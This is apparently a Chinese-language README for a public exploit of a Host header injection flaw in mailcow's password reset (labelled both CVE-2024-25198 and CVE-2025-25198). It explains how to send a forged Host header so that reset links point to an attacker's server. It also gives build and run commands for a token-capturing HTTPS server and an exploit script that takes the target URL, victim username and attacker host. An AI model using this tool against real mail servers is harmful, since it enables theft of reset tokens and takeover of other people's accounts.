CVE-2024-25198

mailcow: dockerized 是一个基于 docker 的开源群件/邮件套件。在 2025-01a 版本之前，mailcow 的密码重置功能存在一个漏洞，允许攻击者操纵 Host HTTP 头来生成指向攻击者控制域名的密码重置链接。如果用户点击该恶意链接，可能导致账户被接管。

工作原理？

设置一个 HTTPS 服务器来监听所有请求，并向网站发送带有您所选 <IP> 的 Host 头的 POST 请求。您也可以使用 Burpsuite 发送请求并在服务器上获取 Token。

功能特性

• 可获取密码更改 Token 的 HTTPS 服务器
• 攻击网站漏洞的利用脚本。
• 已修复所有问题，不再需要 openssl 即可运行

前提条件

• Go 1.16 或更高版本

服务器脚本

git clone https://github.com/enzocipher/CVE-2025-25198.git
cd CVE-2025-25198
sudo go build -o https-server server.go
./https-server

利用脚本

go mod init exploit
go mod tidy
sudo go run exploit.go --base <url> --username <[email protected]> --host <ip>:<port>  <--insecure | optional >